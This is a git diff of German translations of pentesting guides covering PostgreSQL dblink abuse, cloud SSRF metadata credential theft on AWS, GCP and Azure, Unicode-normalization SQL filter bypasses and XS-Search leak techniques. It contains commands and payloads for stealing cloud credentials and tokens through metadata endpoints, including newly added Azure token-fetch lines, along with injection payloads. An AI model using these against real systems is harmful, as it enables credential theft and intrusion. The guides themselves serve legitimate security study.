a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index ad9d8fc80..d4536cbad 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -12,7 +12,7 @@ Sobald Sie dblink geladen haben, könnten Sie einige interessante Tricks ausfüh ### Privilegieneskalation -Die Datei `pg_hba.conf` könnte schlecht konfiguriert sein **und Verbindungen** von **localhost als beliebiger Benutzer** ohne Passwortkenntnis zulassen. Diese Datei befindet sich typischerweise in `/etc/postgresql/12/main/pg_hba.conf` und eine schlechte Konfiguration sieht folgendermaßen aus: +Die Datei `pg_hba.conf` könnte schlecht konfiguriert sein **und Verbindungen** von **localhost als beliebiger Benutzer** ohne Passwortabfrage zulassen. Diese Datei befindet sich typischerweise in `/etc/postgresql/12/main/pg_hba.conf` und eine schlechte Konfiguration sieht so aus: ``` local all all trust ``` @@ -21,11 +21,11 @@ _Beachten Sie auch, dass die Datei pg_hba.conf nur vom Benutzer und der Gruppe p Dieser Fall ist **nützlich, wenn** Sie **bereits** eine **Shell** im Opfer haben, da Sie so eine Verbindung zur PostgreSQL-Datenbank herstellen können. -Eine weitere mögliche Fehlkonfiguration besteht aus etwas wie diesem: +Eine weitere mögliche Fehlkonfiguration besteht in etwas wie diesem: ``` host all all 127.0.0.1/32 trust ``` -Da es jedem vom localhost erlaubt, sich als beliebiger Benutzer mit der Datenbank zu verbinden.\ +Da es jedem vom localhost ermöglicht, sich als beliebiger Benutzer mit der Datenbank zu verbinden.\ In diesem Fall und wenn die **`dblink`**-Funktion **funktioniert**, könnten Sie die **Berechtigungen erhöhen**, indem Sie sich über eine bereits bestehende Verbindung mit der Datenbank verbinden und auf Daten zugreifen, auf die Sie nicht zugreifen sollten: ```sql SELECT * FROM dblink('host=127.0.0.1 @@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT); ``` ### Port Scanning -Durch den Missbrauch von `dblink_connect` könntest du auch **offene Ports suchen**. Wenn diese \*\*Funktion nicht funktioniert, solltest du versuchen, `dblink_connect_u()` zu verwenden, da die Dokumentation besagt, dass `dblink_connect_u()` identisch mit `dblink_connect()` ist, mit der Ausnahme, dass es Nicht-Superusern erlaubt, sich mit jeder Authentifizierungsmethode zu verbinden\_. +Durch den Missbrauch von `dblink_connect` könntest du auch **offene Ports suchen**. Wenn diese **Funktion nicht funktioniert, solltest du versuchen, `dblink_connect_u()` zu verwenden, da die Dokumentation besagt, dass `dblink_connect_u()` identisch mit `dblink_connect()` ist, mit dem Unterschied, dass es Nicht-Superusern erlaubt, sich mit jeder Authentifizierungsmethode zu verbinden\_. ```sql SELECT * FROM dblink_connect('host=216.58.212.238 port=443 diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index f24b6b4e4..85f319eff 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -6,14 +6,14 @@ ### Missbrauch von SSRF in der AWS EC2-Umgebung -**Der Metadaten**-Endpunkt kann von jeder EC2-Maschine aus aufgerufen werden und bietet interessante Informationen darüber. Er ist unter der URL erreichbar: `http://169.254.169.254` ([Informationen über die Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). +**Der Metadaten**-Endpunkt kann von jeder EC2-Maschine aus aufgerufen werden und bietet interessante Informationen darüber. Er ist unter der URL: `http://169.254.169.254` zugänglich ([Informationen über die Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). -Es gibt **2 Versionen** des Metadaten-Endpunkts. Die **erste** erlaubt den **Zugriff** auf den Endpunkt über **GET**-Anfragen (daher kann jede **SSRF ihn ausnutzen**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), müssen Sie einen **Token** anfordern, indem Sie eine **PUT**-Anfrage mit einem **HTTP-Header** senden und dann diesen Token verwenden, um mit einem anderen HTTP-Header auf die Metadaten zuzugreifen (es ist also **komplizierter auszunutzen** mit einer SSRF). +Es gibt **2 Versionen** des Metadaten-Endpunkts. Die **erste** erlaubt den **Zugriff** auf den Endpunkt über **GET**-Anfragen (so kann jede **SSRF sie ausnutzen**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), müssen Sie ein **Token** anfordern, indem Sie eine **PUT**-Anfrage mit einem **HTTP-Header** senden und dann dieses Token verwenden, um mit einem anderen HTTP-Header auf die Metadaten zuzugreifen (es ist also **komplizierter auszunutzen** mit einer SSRF). > [!CAUTION] > Beachten Sie, dass wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen. > -> Darüber hinaus wird **IMDSv2** auch **Anfragen blockieren, um einen Token abzurufen, die den `X-Forwarded-For`-Header enthalten**. Dies dient dazu, zu verhindern, dass falsch konfigurierte Reverse-Proxys darauf zugreifen können. +> Darüber hinaus wird **IMDSv2** auch **Anfragen blockieren, um ein Token abzurufen, die den `X-Forwarded-For`-Header enthalten**. Dies dient dazu, zu verhindern, dass falsch konfigurierte Reverse-Proxys darauf zugreifen können. Sie finden Informationen über die [Metadatenendpunkte in den Dokumenten](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Im folgenden Skript werden einige interessante Informationen daraus gewonnen: ```bash @@ -77,11 +77,11 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; ``` Als Beispiel für **öffentlich verfügbare IAM-Anmeldeinformationen** können Sie besuchen: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) -Sie können auch öffentliche **EC2-Anmeldeinformationen** überprüfen unter: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) +Sie können auch öffentliche **EC2-Sicherheitsanmeldeinformationen** überprüfen unter: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) Sie können dann **diese Anmeldeinformationen verwenden und sie mit der AWS CLI nutzen**. Dies ermöglicht Ihnen, **alles zu tun, wozu diese Rolle Berechtigungen hat**. -Um die neuen Anmeldeinformationen zu nutzen, müssen Sie ein neues AWS-Profil wie dieses erstellen: +Um die neuen Anmeldeinformationen zu nutzen, müssen Sie ein neues AWS-Profil erstellen, das so aussieht: ``` [profilename] aws_access_key_id = ASIA6GG71[...] @@ -94,7 +94,7 @@ Beachten Sie das **aws_session_token**, das für das Funktionieren des Profils u ### SSRF in AWS ECS (Container Service) Anmeldeinformationen -**ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Clusterverwaltungsinfrastruktur skalieren zu müssen, da ECS das für Sie verwaltet. Wenn es Ihnen gelingt, einen Dienst, der in **ECS** läuft, zu kompromittieren, ändern sich die **Metadatenendpunkte**. +**ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Clusterverwaltungsinfrastruktur skalieren zu müssen, da ECS das für Sie verwaltet. Wenn Sie es schaffen, einen Dienst, der in **ECS** läuft, zu kompromittieren, ändern sich die **Metadatenendpunkte**. Wenn Sie _**http://169.254.170.2/v2/credentials/\**_ aufrufen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **das \** finden. Um das \ zu finden, müssen Sie die **environ**-Variable **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** innerhalb der Maschine lesen.\ Sie könnten in der Lage sein, dies auszulesen, indem Sie eine **Path Traversal** zu `file:///proc/self/environ` ausnutzen.\ @@ -107,7 +107,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null | ### SSRF für AWS Lambda -In diesem Fall sind die **Anmeldeinformationen in Umgebungsvariablen gespeichert**. Um auf sie zuzugreifen, müssen Sie auf etwas wie **`file:///proc/self/environ`** zugreifen. +In diesem Fall werden die **Anmeldeinformationen in Umgebungsvariablen gespeichert**. Um auf sie zuzugreifen, müssen Sie auf etwas wie **`file:///proc/self/environ`** zugreifen. Die **Namen** der **interessanten Umgebungsvariablen** sind: @@ -115,7 +115,7 @@ Die **Namen** der **interessanten Umgebungsvariablen** sind: - `AWS_SECRET_ACCESS_KEY` - `AWS_ACCES_KEY_ID` -Darüber hinaus haben Lambda-Funktionen neben IAM-Anmeldeinformationen auch **Ereignisdaten, die an die Funktion übergeben werden, wenn sie gestartet wird**. Diese Daten sind der Funktion über die [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) zugänglich und könnten **sensible** **Informationen** enthalten (wie in den **stageVariables**). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter **`http://localhost:9001/2018-06-01/runtime/invocation/next`** zugänglich. +Darüber hinaus haben Lambda-Funktionen neben IAM-Anmeldeinformationen auch **Ereignisdaten, die an die Funktion übergeben werden, wenn sie gestartet wird**. Diese Daten sind der Funktion über die [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) zugänglich und könnten **sensible** **Informationen** enthalten (wie innerhalb der **stageVariables**). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter **`http://localhost:9001/2018-06-01/runtime/invocation/next`** zugänglich. > [!WARNING] > Beachten Sie, dass die **Lambda-Anmeldeinformationen** in den **Umgebungsvariablen** enthalten sind. Wenn also der **Stack-Trace** des Lambda-Codes Umgebungsvariablen ausgibt, ist es möglich, sie **durch Provokation eines Fehlers** in der App zu **exfiltrieren**. @@ -232,14 +232,14 @@ http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` > [!CAUTION] -> Um das **exfiltrierte Dienstkonto-Token** zu verwenden, können Sie einfach Folgendes tun: +> Um das **exfiltrierte Dienstkonto-Token** zu **verwenden**, können Sie einfach Folgendes tun: > > ```bash -> # Via env vars +> # Über Umgebungsvariablen > export CLOUDSDK_AUTH_ACCESS_TOKEN= > gcloud projects list > -> # Via setup +> # Über Setup > echo "" > /some/path/to/token > gcloud config set auth/access_token_file /some/path/to/token > gcloud projects list @@ -325,11 +325,11 @@ curl http://169.254.169.254/metadata/v1.json | jq > [!TIP] > Eine Azure-VM kann 1 systemverwaltete Identität und mehrere benutzerverwaltete Identitäten haben. Das bedeutet im Grunde, dass Sie **alle verwalteten Identitäten, die an eine VM angehängt sind, impersonieren können**. > -> Standardmäßig verwendet der Metadatenendpunkt die **systemzugewiesene MI (falls vorhanden)**. +> Bei der Anforderung eines Zugriffstokens für den Metadatenendpunkt verwendet der Metadatenservice standardmäßig die **systemzugewiesene verwaltete Identität**, um das Token zu generieren, falls eine systemzugewiesene verwaltete Identität vorhanden ist. Falls es nur **EINE benutzerzugewiesene verwaltete Identität** gibt, wird diese standardmäßig verwendet. Wenn jedoch keine systemzugewiesene verwaltete Identität vorhanden ist und es **mehrere benutzerzugewiesene verwaltete Identitäten** gibt, gibt der Metadatenservice einen Fehler zurück, der angibt, dass es mehrere verwaltete Identitäten gibt und es notwendig ist, **anzugeben, welche verwendet werden soll**. > -> Leider konnte ich keinen Metadatenendpunkt finden, der alle MIs anzeigt, die eine VM hat. +> Leider konnte ich keinen Metadatenendpunkt finden, der alle MIs anzeigt, die eine VM hat, sodass es aus der Perspektive eines Red Teams eine schwierige Aufgabe sein könnte, alle zugewiesenen verwalteten Identitäten einer VM herauszufinden. > -> Daher können Sie, um alle angehängten MIs zu finden: +> Daher können Sie, um alle angehängten MIs zu finden, Folgendes tun: > > - **Angehängte Identitäten mit az cli abrufen** (wenn Sie bereits einen Principal im Azure-Mandanten kompromittiert haben) > @@ -339,7 +339,7 @@ curl http://169.254.169.254/metadata/v1.json | jq > --name > ``` > -> - **Angehängte Identitäten** mit der standardmäßig angehängten MI in den Metadaten abrufen: +> - **Angehängte Identitäten** mit der standardmäßig angehängten MI im Metadatenendpunkt abrufen: > > ```bash > export API_VERSION="2021-12-13" @@ -362,14 +362,14 @@ curl http://169.254.169.254/metadata/v1.json | jq > "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq > ``` > -> - **Alle** definierten verwalteten Identitäten im Mandanten abrufen und **brute force** durchführen, um zu sehen, ob eine von ihnen an die VM angehängt ist: +> - **Alle** definierten verwalteten Identitäten im Mandanten abrufen und **brute force**, um zu sehen, ob eine von ihnen an die VM angehängt ist: > > ```bash > az identity list > ``` > [!CAUTION] -> Verwenden Sie in den Token-Anfragen einen der Parameter `object_id`, `client_id` oder `msi_res_id`, um die verwaltete Identität anzugeben, die Sie verwenden möchten ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Wenn keiner, wird die **standardmäßige MI verwendet**. +> Verwenden Sie in den Tokenanforderungen einen der Parameter `object_id`, `client_id` oder `msi_res_id`, um die verwaltete Identität anzugeben, die Sie verwenden möchten ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Wenn keiner, wird die **standardmäßige MI verwendet**. {{#tabs}} {{#tab name="Bash"}} @@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http: $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) -# Paths +## Get management token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token + +## Get graph token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token + +## Get vault token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token + +## Get storage token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token + + +# More Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text @@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08 {{#endtab}} {{#tab name="PS"}} -```powershell +```bash # Define the API version $API_VERSION = "2019-08-01" @@ -535,7 +548,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` -Dokumentation zu den Metadaten-Diensten verschiedener Plattformen ist unten aufgeführt, wobei die Methoden hervorgehoben werden, über die Konfigurations- und Laufzeitinformationen für Instanzen abgerufen werden können. Jede Plattform bietet einzigartige Endpunkte zum Zugriff auf ihre Metadaten-Dienste. +Dokumentation für die Metadatenservices verschiedener Plattformen ist unten aufgeführt, wobei die Methoden hervorgehoben werden, durch die Konfigurations- und Laufzeitinformationen für Instanzen abgerufen werden können. Jede Plattform bietet einzigartige Endpunkte zum Zugriff auf ihre Metadatenservices. ## Packetcloud @@ -543,7 +556,7 @@ Für den Zugriff auf die Metadaten von Packetcloud kann die Dokumentation unter ## OpenStack/RackSpace -Die Notwendigkeit für einen Header wird nicht erwähnt. Metadaten können über Folgendes abgerufen werden: +Die Notwendigkeit für einen Header wird nicht erwähnt. Metadaten können über folgenden Link abgerufen werden: - `http://169.254.169.254/openstack` @@ -589,7 +602,7 @@ Docker-Metadaten können lokal abgerufen werden, mit Beispielen für den Abruf v ## Rancher -Die Metadaten von Rancher können über Folgendes abgerufen werden: +Die Metadaten von Rancher können über folgenden Link abgerufen werden: - `curl http://rancher-metadata//` diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index 8c97af841..61b937f54 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**Dies ist eine Zusammenfassung von:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Schauen Sie sich weitere Details an (Bilder dort entnommen). +**Dies ist eine Zusammenfassung von:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Schauen Sie sich das für weitere Details an (Bilder dort entnommen). ## Verständnis von Unicode und Normalisierung @@ -29,11 +29,11 @@ Ein Beispiel dafür, wie Unicode zwei verschiedene Bytes normalisiert, die dasse ```python unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9") ``` -**Eine Liste der Unicode-Äquivalente Zeichen finden Sie hier:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) und [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table) +**Eine Liste von Unicode-Äquivalentzeichen finden Sie hier:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) und [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table) ### Entdeckung -Wenn Sie in einer Webanwendung einen Wert finden, der zurückgegeben wird, könnten Sie versuchen, **‘KELVIN SIGN’ (U+0212A)** zu senden, das **normalisiert zu "K"** (Sie können es als `%e2%84%aa` senden). **Wenn ein "K" zurückgegeben wird**, dann wird eine Art von **Unicode-Normalisierung** durchgeführt. +Wenn Sie in einer Webanwendung einen Wert finden, der zurückgegeben wird, könnten Sie versuchen, **‘KELVIN SIGN’ (U+0212A)** zu senden, das **zu "K" normalisiert** (Sie können es als `%e2%84%aa` senden). **Wenn ein "K" zurückgegeben wird**, dann wird eine Art von **Unicode-Normalisierung** durchgeführt. Ein weiteres **Beispiel**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` nach **Unicode** ist `Leonishan`. @@ -41,7 +41,7 @@ Ein weiteres **Beispiel**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85% ### **SQL Injection Filterumgehung** -Stellen Sie sich eine Webseite vor, die das Zeichen `'` verwendet, um SQL-Abfragen mit Benutzereingaben zu erstellen. Diese Webseite löscht als Sicherheitsmaßnahme alle Vorkommen des Zeichens **`'`** aus der Benutzereingabe, aber **nach dieser Löschung** und **vor der Erstellung** der Abfrage, **normalisiert** sie die Eingabe des Benutzers mit **Unicode**. +Stellen Sie sich eine Webseite vor, die das Zeichen `'` verwendet, um SQL-Abfragen mit Benutzereingaben zu erstellen. Diese Webseite löscht als Sicherheitsmaßnahme alle Vorkommen des Zeichens **`'`** aus der Benutzereingabe, aber **nach dieser Löschung** und **vor der Erstellung** der Abfrage **normalisiert** sie die Eingabe des Benutzers mit **Unicode**. Dann könnte ein böswilliger Benutzer ein anderes Unicode-Zeichen, das äquivalent zu `' (0x27)` ist, wie `%ef%bc%87` einfügen. Wenn die Eingabe normalisiert wird, entsteht ein einfaches Anführungszeichen und eine **SQLInjection-Sicherheitsanfälligkeit** tritt auf: @@ -91,9 +91,9 @@ Beachten Sie, dass das erste vorgeschlagene Unicode-Zeichen beispielsweise als: ### Fuzzing Regexes -Wenn das Backend **Benutzereingaben mit einem Regex überprüft**, könnte es möglich sein, dass die **Eingabe** für den **Regex** **normalisiert** wird, aber **nicht** für den Ort, an dem sie **verwendet** wird. Zum Beispiel könnte in einem Open Redirect oder SSRF der Regex die gesendete URL **normalisieren**, aber dann **so verwenden, wie sie ist**. +Wenn das Backend **Benutzereingaben mit einem Regex überprüft**, könnte es möglich sein, dass die **Eingabe** für den **Regex** **normalisiert** wird, aber **nicht** für den Ort, an dem sie **verwendet** wird. Zum Beispiel könnte in einem Open Redirect oder SSRF der Regex die gesendete **URL** **normalisieren**, aber dann **sie so verwenden**, wie sie ist. -Das Tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* ermöglicht es, **Variationen der Eingabe zu generieren**, um das Backend zu fuzzern. Für weitere Informationen besuchen Sie das **github** und diesen [**Beitrag**](https://0xacb.com/2022/11/21/recollapse/). +Das Tool [**recollapse**](https://github.com/0xacb/recollapse) ermöglicht es, **Variationen der Eingabe zu generieren**, um das Backend zu fuzzern. Für weitere Informationen besuchen Sie das **github** und diesen [**Beitrag**](https://0xacb.com/2022/11/21/recollapse/). ## Unicode Overflow diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index d6933b984..68ebd388a 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -4,43 +4,43 @@ ## Grundinformationen -XS-Search ist eine Methode zur **Extraktion von Informationen über Ursprünge hinweg**, die **Seitenkanalanfälligkeiten** ausnutzt. +XS-Search ist eine Methode zur **Extraktion von Informationen über verschiedene Ursprünge** durch Ausnutzung von **Nebenkanalanfälligkeiten**. Wichtige Komponenten, die an diesem Angriff beteiligt sind: -- **Anfälliges Web**: Die Zielwebsite, von der Informationen extrahiert werden sollen. -- **Angreifer-Web**: Die bösartige Website, die vom Angreifer erstellt wurde und die das Opfer besucht, um den Exploit zu hosten. -- **Einbeziehungsmethode**: Die Technik, die verwendet wird, um das Anfällige Web in das Angreifer-Web einzufügen (z. B. window.open, iframe, fetch, HTML-Tag mit href usw.). -- **Leak-Technik**: Techniken, die verwendet werden, um Unterschiede im Zustand des Anfälligen Webs basierend auf Informationen zu erkennen, die durch die Einbeziehungsmethode gesammelt wurden. -- **Zustände**: Die beiden potenziellen Bedingungen des Anfälligen Webs, die der Angreifer zu unterscheiden versucht. -- **Erkennbare Unterschiede**: Beobachtbare Variationen, auf die der Angreifer sich verlässt, um den Zustand des Anfälligen Webs abzuleiten. +- **Anfällige Webseite**: Die Zielwebsite, von der Informationen extrahiert werden sollen. +- **Webseite des Angreifers**: Die bösartige Webseite, die vom Angreifer erstellt wurde und die der Opfer besucht, um den Exploit zu hosten. +- **Einbeziehungsmethode**: Die Technik, die verwendet wird, um die Anfällige Webseite in die Webseite des Angreifers einzubeziehen (z. B. window.open, iframe, fetch, HTML-Tag mit href usw.). +- **Leak-Technik**: Techniken, die verwendet werden, um Unterschiede im Zustand der Anfälligen Webseite basierend auf Informationen zu erkennen, die durch die Einbeziehungsmethode gesammelt wurden. +- **Zustände**: Die beiden potenziellen Bedingungen der Anfälligen Webseite, die der Angreifer zu unterscheiden versucht. +- **Erkennbare Unterschiede**: Beobachtbare Variationen, auf die der Angreifer sich verlässt, um den Zustand der Anfälligen Webseite abzuleiten. ### Erkennbare Unterschiede -Mehrere Aspekte können analysiert werden, um die Zustände des Anfälligen Webs zu unterscheiden: +Mehrere Aspekte können analysiert werden, um die Zustände der Anfälligen Webseite zu unterscheiden: - **Statuscode**: Unterscheidung zwischen **verschiedenen HTTP-Antwortstatuscodes** über Ursprünge hinweg, wie Serverfehler, Clientfehler oder Authentifizierungsfehler. -- **API-Nutzung**: Identifizierung der **Nutzung von Web-APIs** über Seiten hinweg, die offenbart, ob eine Cross-Origin-Seite eine bestimmte JavaScript-Web-API verwendet. -- **Weiterleitungen**: Erkennung von Navigationen zu anderen Seiten, nicht nur HTTP-Weiterleitungen, sondern auch solchen, die durch JavaScript oder HTML ausgelöst werden. -- **Seiteninhalt**: Beobachtung von **Variationen im HTTP-Antwortkörper** oder in Seitenunterressourcen, wie der **Anzahl der eingebetteten Frames** oder Größenunterschieden bei Bildern. +- **API-Nutzung**: Identifizierung der **Nutzung von Web-APIs** über Seiten hinweg, die offenbart, ob eine Seite über verschiedene Ursprünge hinweg eine bestimmte JavaScript-Web-API verwendet. +- **Weiterleitungen**: Erkennung von Navigationen zu anderen Seiten, nicht nur HTTP-Weiterleitungen, sondern auch solche, die durch JavaScript oder HTML ausgelöst werden. +- **Seiteninhalt**: Beobachtung von **Variationen im HTTP-Antwortkörper** oder in Seitenunterressourcen, wie der **Anzahl eingebetteter Frames** oder Größenunterschieden bei Bildern. - **HTTP-Header**: Feststellung der Anwesenheit oder möglicherweise des Wertes eines **bestimmten HTTP-Antwortheaders**, einschließlich Header wie X-Frame-Options, Content-Disposition und Cross-Origin-Resource-Policy. -- **Timing**: Feststellung konsistenter Zeitunterschiede zwischen den beiden Zuständen. +- **Timing**: Wahrnehmung konsistenter Zeitunterschiede zwischen den beiden Zuständen. ### Einbeziehungsmethoden -- **HTML-Elemente**: HTML bietet verschiedene Elemente zur **Einbeziehung von Ressourcen über Ursprünge hinweg**, wie Stylesheets, Bilder oder Skripte, die den Browser zwingen, eine Nicht-HTML-Ressource anzufordern. Eine Zusammenstellung potenzieller HTML-Elemente für diesen Zweck finden Sie unter [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). -- **Frames**: Elemente wie **iframe**, **object** und **embed** können HTML-Ressourcen direkt in die Seite des Angreifers einbetten. Wenn die Seite **keinen Framing-Schutz** hat, kann JavaScript auf das Fensterobjekt der eingebetteten Ressource über die Eigenschaft contentWindow zugreifen. -- **Pop-ups**: Die **`window.open`**-Methode öffnet eine Ressource in einem neuen Tab oder Fenster und bietet einen **Fenster-Handle**, mit dem JavaScript mit Methoden und Eigenschaften gemäß dem SOP interagieren kann. Pop-ups, die häufig bei der einmaligen Anmeldung verwendet werden, umgehen die Framing- und Cookie-Beschränkungen einer Zielressource. Moderne Browser schränken jedoch die Erstellung von Pop-ups auf bestimmte Benutzeraktionen ein. -- **JavaScript-Anfragen**: JavaScript erlaubt direkte Anfragen an Zielressourcen unter Verwendung von **XMLHttpRequests** oder der **Fetch API**. Diese Methoden bieten präzise Kontrolle über die Anfrage, wie die Entscheidung, HTTP-Weiterleitungen zu folgen. +- **HTML-Elemente**: HTML bietet verschiedene Elemente zur **Einbeziehung von Ressourcen über verschiedene Ursprünge**, wie Stylesheets, Bilder oder Skripte, die den Browser zwingen, eine Nicht-HTML-Ressource anzufordern. Eine Zusammenstellung potenzieller HTML-Elemente für diesen Zweck finden Sie unter [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). +- **Frames**: Elemente wie **iframe**, **object** und **embed** können HTML-Ressourcen direkt in die Seite des Angreifers einbetten. Wenn die Seite **keinen Schutz vor Einbettung** hat, kann JavaScript über die contentWindow-Eigenschaft auf das Fensterobjekt der eingebetteten Ressource zugreifen. +- **Pop-ups**: Die **`window.open`**-Methode öffnet eine Ressource in einem neuen Tab oder Fenster und bietet einen **Fenster-Handle**, mit dem JavaScript mit Methoden und Eigenschaften gemäß dem SOP interagieren kann. Pop-ups, die häufig bei der einmaligen Anmeldung verwendet werden, umgehen die Einbettungs- und Cookie-Beschränkungen einer Zielressource. Moderne Browser schränken jedoch die Erstellung von Pop-ups auf bestimmte Benutzeraktionen ein. +- **JavaScript-Anfragen**: JavaScript erlaubt direkte Anfragen an Zielressourcen unter Verwendung von **XMLHttpRequests** oder der **Fetch API**. Diese Methoden bieten eine präzise Kontrolle über die Anfrage, wie z. B. die Entscheidung, HTTP-Weiterleitungen zu folgen. ### Leak-Techniken - **Ereignis-Handler**: Eine klassische Leak-Technik in XS-Leaks, bei der Ereignis-Handler wie **onload** und **onerror** Einblicke in den Erfolg oder Misserfolg des Ladens von Ressourcen geben. -- **Fehlermeldungen**: JavaScript-Ausnahmen oder spezielle Fehlermeldungsseiten können Leak-Informationen entweder direkt aus der Fehlermeldung oder durch Unterscheidung zwischen deren Anwesenheit und Abwesenheit bereitstellen. +- **Fehlermeldungen**: JavaScript-Ausnahmen oder spezielle 